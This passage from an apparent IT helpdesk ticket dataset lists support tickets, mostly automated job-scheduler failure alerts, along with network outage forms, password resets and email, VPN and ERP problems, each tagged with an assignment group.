, is assigned to Assignment group: GRP\_0.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 09/04/2016 16:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 09/04/2016 16:32:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1306 failed in job\_scheduler at: 09/04/2016 15:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1306 failed in job\_scheduler at: 09/04/2016 15:29:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 09/04/2016 12:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 09/04/2016 12:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: windows password, Description: \_x000D\_
\_x000D\_
received from: tbioceqj.ukjietwz@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i want change my password and make a mistake,\_x000D\_
can you please reject to my old one\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job snp\_heu\_1\_regen failed in job\_scheduler at: 09/04/2016 10:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_1\_regen failed in job\_scheduler at: 09/04/2016 10:17:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: firmware upgrade on the phones, Description: davgtgyrh called in for an issue where there was supposed to be a firmware upgrade on the phones but davgtgyrh mentioned that the phones are still rebooting and its on a loop.
, is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_1395 failed in job\_scheduler at: 09/04/2016 07:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1395 failed in job\_scheduler at: 09/04/2016 07:58:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: emailing: 16-177747.htm, Description: \_x000D\_
\_x000D\_
received from: cowsvzel.ryhkefwv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
\_x000D\_
now a days we are getting lot of other regions report in india dump, can you please solve this\_x000D\_
every month we get close to 5-10 engineering\_tool's in to our system\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: network outage :bellusco, it - divestiture site:site hard down since at 6:40 am et on 09/04.no backup, Description: what type of outage: \_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_6:40 am et on 09/04\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: laptop not booting up, Description: when vigrtgyne is logging into his laptop, the laptop is automatically shutting down. he tried doing a power shutdown and also kept the pc off for an hour but still the same. the moment he's logging in, pc is shutting down by itself.
user id - ravhdyui
pc name - aidl8911055
service tag - dbd1hz1
model - latitude e5430 non-vpro
, is assigned to Assignment group: GRP\_19.Ticket with Short description: job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/04/2016 05:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/04/2016 05:55:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: network outage: turkey turkey - site hard down since on 01:56 am et on 09/04/16 ., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_ 01:56 am et.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_48cold failed in job\_scheduler at: 09/03/2016 21:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_48cold failed in job\_scheduler at: 09/03/2016 21:15:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_50cold failed in job\_scheduler at: 09/03/2016 21:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_50cold failed in job\_scheduler at: 09/03/2016 21:15:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_27hot failed in job\_scheduler at: 09/03/2016 20:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_27hot failed in job\_scheduler at: 09/03/2016 20:55:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_41cold failed in job\_scheduler at: 09/03/2016 20:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_41cold failed in job\_scheduler at: 09/03/2016 20:52:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_44cold failed in job\_scheduler at: 09/03/2016 20:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_44cold failed in job\_scheduler at: 09/03/2016 20:41:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: bridgex from lacw8515941 step 'login' failed: resource not found, Description: bridgex from lacw8515941 step 'login' failed: resource not found, is assigned to Assignment group: GRP\_14.Ticket with Short description: job SID\_27hot failed in job\_scheduler at: 09/03/2016 20:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_27hot failed in job\_scheduler at: 09/03/2016 20:11:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_41cold failed in job\_scheduler at: 09/03/2016 20:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_41cold failed in job\_scheduler at: 09/03/2016 20:04:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_51cold failed in job\_scheduler at: 09/03/2016 20:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_51cold failed in job\_scheduler at: 09/03/2016 20:04:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_23cold failed in job\_scheduler at: 09/03/2016 19:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_23cold failed in job\_scheduler at: 09/03/2016 19:58:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_727 failed in job\_scheduler at: 09/03/2016 19:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_727 failed in job\_scheduler at: 09/03/2016 19:54:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_38cold failed in job\_scheduler at: 09/03/2016 19:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38cold failed in job\_scheduler at: 09/03/2016 19:53:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_32cold failed in job\_scheduler at: 09/03/2016 19:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_32cold failed in job\_scheduler at: 09/03/2016 19:50:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_39cold failed in job\_scheduler at: 09/03/2016 19:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39cold failed in job\_scheduler at: 09/03/2016 19:34:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_79cold failed in job\_scheduler at: 09/03/2016 19:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_79cold failed in job\_scheduler at: 09/03/2016 19:34:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_47cold failed in job\_scheduler at: 09/03/2016 19:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_47cold failed in job\_scheduler at: 09/03/2016 19:33:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: node HostName\_587 located at germany is down since 6:19 pm 9/3 et, Description: node HostName\_587 located at germany is down since 6:19 pm 9/3 et, is assigned to Assignment group: GRP\_12.Ticket with Short description: node HostName\_20 located at Israel is down since 9/3 at 5:15 pm et, Description: node HostName\_20 located at EMEA is down since 9/3 at 5:15 pm et, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1665 failed in job\_scheduler at: 09/03/2016 18:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1665 failed in job\_scheduler at: 09/03/2016 18:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_484 failed in job\_scheduler at: 09/03/2016 12:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_484 failed in job\_scheduler at: 09/03/2016 12:04:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: delete personal address from system, Description: from: qpixeudn rjlziysd
sent: saturday, september 03, 2016 5:04 pm
to: nwfodmhc exurcwkm
cc: ifblxjmc dyrgfwbm; jayachandran reddy
subject: re: ee personal address in system
hello all...
bill here on sat. morning battling a hurricane in va. beach.
i looked back at the e mailsi have received on my g mail account and see one from callie with "hrssc" as a copy list. candice with the same copy list and a lynda at hr shared service with again the same copy list.
i hope this helps!!
bb
bigtyl bachsmhdyhti
eastern zone manager
company
on sep 2, 2016, at 5:20 pm, nwfodmhc exurcwkm <nwfodmhc.exurcwkm@gmail.com> wrote:
hi candice,
does this happen when you send an email to a specific group or all the groups that bill is a part of? if it is a single group, may i know the group's name?
, is assigned to Assignment group: GRP\_26.Ticket with Short description: job Job\_1983 failed in job\_scheduler at: 09/03/2016 08:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1983 failed in job\_scheduler at: 09/03/2016 08:02:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: no sound , Description: no sound , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create erp notification , Description:
received from: dfiyvmec.wxioadpt@gmail.com
[cid:image001.png@01d205fe.ffce2de0]
kuhgtyjvelu. u
manager â€“ reliability engineering
dfiyvmec.wxioadpt@gmail.com<mailto:dfiyvmec.wxioadpt@gmail.com>
, is assigned to Assignment group: GRP\_45.Ticket with Short description: inwarehouse\_tool format - issue outputs to e-mail, Description: \_x000D\_
\_x000D\_
received from: zfliqpxm.dgfvaqlh@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
while using t/c zz\_mails we are getting inwarehouse\_tools in 2 different formats.\_x000D\_
please refer enclosed e-mails\_x000D\_
\_x000D\_
inwarehouse\_tool 0512673680 : not okay\_x000D\_
\_x000D\_
inwarehouse\_tool 0512669014 : is okay\_x000D\_
\_x000D\_
please help us in getting all inwarehouse\_tools as per format appearing in inwarehouse\_tool 0512669014\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_1913 failed in job\_scheduler at: 09/03/2016 06:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1913 failed in job\_scheduler at: 09/03/2016 06:34:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1996 failed in job\_scheduler at: 09/03/2016 06:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1996 failed in job\_scheduler at: 09/03/2016 06:26:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: i can't logon erp at home, please help to solve this issue, Description: \_x000D\_
\_x000D\_
received from: baoapacg.wanrtyg@company.com\_x000D\_
\_x000D\_
[cid:image001.png@01d2060f.78853e80]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: network outage:milton keynes, uk - divestiture site: site is hard down since at 3:46 am et on 09/03.no backup , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_3:46 am et on 09/03\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bk\_hana\_SID\_62\_os\_dly\_dp failed in job\_scheduler at: 09/03/2016 04:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_os\_dly\_dp failed in job\_scheduler at: 09/03/2016 04:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: new order, Description: from: jmfvwrek pqwehmzgagannathan \_x000D\_
sent: saturday, september 03, 2016 9:54 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: notification: fw: re: new order\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
am forwarding the trailing mail received. kindly do the needful. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: ad account locked , Description: ad account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to web , Description: unable to connect to web ,and check download files , is assigned to Assignment group: GRP\_0.Ticket with Short description: emails not available in outlook but available in owa, Description:
received from: dargthy.sohfyuimaiah@company.com
team,
i am unable to view emails in outlook of june 2015 and before, but i can see them in owa.
its difficult to analyze the old emails in owa compared to outlook.
could you please help in refreshing the emails in outlook.
my outlook version is 2016.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1384 failed in job\_scheduler at: 09/03/2016 01:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1384 failed in job\_scheduler at: 09/03/2016 01:09:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: desktop icon size issue, Description: name:jvpkulxw ovuweygj
language:
browser:microsoft internet explorer
email:jvpkulxw.ovuweygj@gmail.com
customer number:
telephone:
summary:desktop icon size issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 09/02/2016 22:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 09/02/2016 22:20:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: mouse started jumping all over the screen again., Description: \_x000D\_
\_x000D\_
received from: ulroqsyf.wctpnarb@gmail.com\_x000D\_
\_x000D\_
i had this problem earlier.\_x000D\_
this was resolved by replacement of hardware.\_x000D\_
\_x000D\_
however i am experiencing this problem again..pl support\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: vpn vpn access, Description: \_x000D\_
\_x000D\_
received from: qfcxbpht.oiykfzlr@gmail.com\_x000D\_
\_x000D\_
for some reason my logon information won't work with vpn vpn access tonight. could you please investigate? the following is the link i follow.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2573 failed in job\_scheduler at: 09/02/2016 18:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2573 failed in job\_scheduler at: 09/02/2016 18:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: #mm2247736 can not inwarehouse\_tool consignment mb58 acct 81254672, total 36 piezas., Description: #mm2247736 can not inwarehouse\_tool consignment mb58 acct 81254672, total 36 piezas., is assigned to Assignment group: GRP\_13.Ticket with Short description: erp report zcor0003 variant rod stock 1 is working for some employee's in the usa plant., Description: report won't work., is assigned to Assignment group: GRP\_44.Ticket with Short description: unable to edit quantities under oppurtunities in crm, Description: unable to edit quantities under oppurtunities in crm. refer attachment.
phone: , is assigned to Assignment group: GRP\_40.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: need email address to login to outlook, Description: need email address to login to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: hana , Description:
received from: nealxjbc.owjduxai@gmail.com
earlier i started a chat with rakthyesh. i was pulling a report though hana and after selecting the analysis tab and refreshing i was thing going to display. i needed to filter this template to add my plant. when i would select display all of my boxes were empty (see attached). he did something and asked me to close and reopen. once i reopened my analysis tab was gone so i wasn't able to refresh to then go to display to see if my filters were fixed.
he then fixed my analysis tab while we were still in chat but after doing this when i tried to select display the white boxes that i was seeing was no longer showing. i would hit display and all i could see was my spreadsheet (no boxes).
he said he would have to do a ticket. i've not been copied on a ticket buy i need to run this report.
before sending this email i went back into hana to see if by chance my report or problem was fixed and the analysis tab is gone again.
if you can please correct this for me.
nealxjbc owjduxai
customer service supervisor, cec infrastructure
nealxjbc.owjduxai@gmail.com<mailto:nealxjbc.owjduxai@gmail.com>
, is assigned to Assignment group: GRP\_9.Ticket with Short description: change accounts from full time employee to contractor, Description: hello,
effective september 5 please change merthayu and behsnjty's accounts from employees to vendors and donot deactivate their accesses.based on my conversation with khrtyujuine, snhdfihytu and suhtnhdyio, opening this ticket.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: interface fa0/21 on company-sa-bra-sao-pollaurido-switch-c-2950-access-sw03.company.com is down since 2:25pm on 09/2/16, Description: interface: fastethernet0/21 Â· 1721 router embertell(61.01.52.026) on company-sa-bra-sao-pollaurido-switch-c-2950-access-sw03.company.com is down since 2:25pm on 09/2/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_115 :volume consumed on : c:\ is more than 85% ., Description: HostName\_115: volume: c:drive on server is over 85% space consumed. space available: 4.5 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: outlook email font size issue, Description: outlook email font size issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1108 failed in job\_scheduler at: 09/02/2016 15:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1108 failed in job\_scheduler at: 09/02/2016 15:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: , malaysia - (company) network is down since 2:16pm et on 09/02/16, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_2:16pm et on 09/02/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot log into skype or vpn, Description: name:qjeymnzs wgpelvyn
language:
browser:microsoft internet explorer
email:qjeymnzs.wgpelvyn@gmail.com
customer number:
telephone:
summary:i cannot log into skype or vpn. this happens every time i change my password. i will need someone to log into my computer and fix some certificates or whatever to make it work again., is assigned to Assignment group: GRP\_0.Ticket with Short description: light indicator, Description: from: cwuospin nbhoxqpe
sent: friday, september 02, 2016 11:48 pm
to: ouaepwnr pqnteriv; -facility; nwfodmhc exurcwkm
subject: amar re: light indicator
help desk,
please see the request below
sincerely,
stanfghyley guhtykes, fmp
facilities manager, world headquarters
cwuospin.nbhoxqpe@gmail.com
, is assigned to Assignment group: GRP\_37.Ticket with Short description: outlook not connecting to microsoft exchange, Description: outlook not connecting to microsoft exchange, is assigned to Assignment group: GRP\_0.Ticket with Short description: vrtx at south\_amerirtca with light blinking, Description: vrtx at south\_amerirtca is showing orange light blinking at front panel.\_x000D\_
please see attached file., is assigned to Assignment group: GRP\_12.Ticket with Short description: reference: inplant\_851936, Description: while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist'. when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist'
phone; , is assigned to Assignment group: GRP\_14.Ticket with Short description: erp logon balancing error, Description: erp logon balancing error, is assigned to Assignment group: GRP\_0.Ticket with Short description: newly created emails are not getting sent, they are all going into the outbox., Description: newly created emails are not getting sent, they are all going into the outbox., is assigned to Assignment group: GRP\_3.Ticket with Short description: erp rounding off the total of an order, Description: we have quotes 3116232719, 3116233894 and 3116234383, that gives me the correct unit price but the total of the entire quote is rounding off. can this be fixed? customers will deny payment if the total doesn't match what the unit price is. , is assigned to Assignment group: GRP\_13.Ticket with Short description: product selector not working, Description: this appears to be an issue with all environments., is assigned to Assignment group: GRP\_51.Ticket with Short description: unable to make incoming and outgoing calls from the company phone , Description: unable to make incoming and outgoing calls from the company phone , is assigned to Assignment group: GRP\_0.Ticket with Short description: cyber security - phish uacyltoe hxgaycze report september 2016, Description: cyber security - phish uacyltoe hxgaycze report september 2016, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to connect to companysecure, Description: unable to connect to companysecure, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to network in usa, michigan, Description: unable to connect to network in usa, michigan, is assigned to Assignment group: GRP\_0.Ticket with Short description: mapping printers , Description: mapping printers , is assigned to Assignment group: GRP\_0.Ticket with Short description: india company: tcl circuit packet drops since at 10:30 am est on 09/02. site is active on primary., Description: packet drops in the internet link .tcl#3060oc020916, is assigned to Assignment group: GRP\_4.Ticket with Short description: ft. mill cec outlook connectivity, Description: the majority of csrs in the usa cec work remote. we are currently on vpn.company.com for vpn due to the upgrade. however, our outlook is continually freezing and we have had to reboot just to get it back., is assigned to Assignment group: GRP\_26.Ticket with Short description: reset password , Description:
received from: koahsriq.wdugqatr@gmail.com
hello,
please reset password for vvterra qlhmawgi sgwipoxn (terralink for russia office)
Ñ ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼,
ÐµÐ²Ð³ÐµÐ½Ð¸Ñ.
koahsriq wdugqatr,
administrative assistant.
koahsriq.wdugqatr@gmail.com<mailto:koahsriq.wdugqatr@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for fmeozwng pfneutkg, Description: password reset for fmeozwng pfneutkg, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 erp production password reset, Description: name:dhkovprf pltndoab
language:
browser:microsoft internet explorer
email:dhkovprf.pltndoab@gmail.com
customer number:
telephone:
summary:locked out of erp SID\_34 on too many password attempts. tried to use what i know is my password but it won't let me. may be due to SID\_39 access request ticket\_no0435983, is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath issue, Description: infopath issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype login issue : personal certificate error, Description: skype login issue : personal certificate error, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access., Description: x2215
summary:require jftyff bgtyrant, user name brahdthyu, to be usaed access to HostName\_856.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: distributor\_tool , Description: \_x000D\_
\_x000D\_
received from: brhlcpqv.sfozwkyx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you help me on entering the distributor\_tool company?\_x000D\_
i'd already contacted with rakthyesh, and he helped me enter the system with the password he gave but it didn't still work. i've changed the password after he sent me an email but this problem couldn't be solved.\_x000D\_
have a great day.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: joining skype meetings through iphone, Description: joining skype meetings through iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: problems with quoting engine. refer attachment., Description: problems with quoting engine. refer attachment.
phone; 44 , is assigned to Assignment group: GRP\_21.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: delegation query, owa and checking emails older than 12 months., Description: delegation query, owa and checking emails older than 12 months., is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent: samag lieferschein sales order #35612545 - fehler in batches, Description:
received from: vujymcls.sgpmyviq@gmail.com
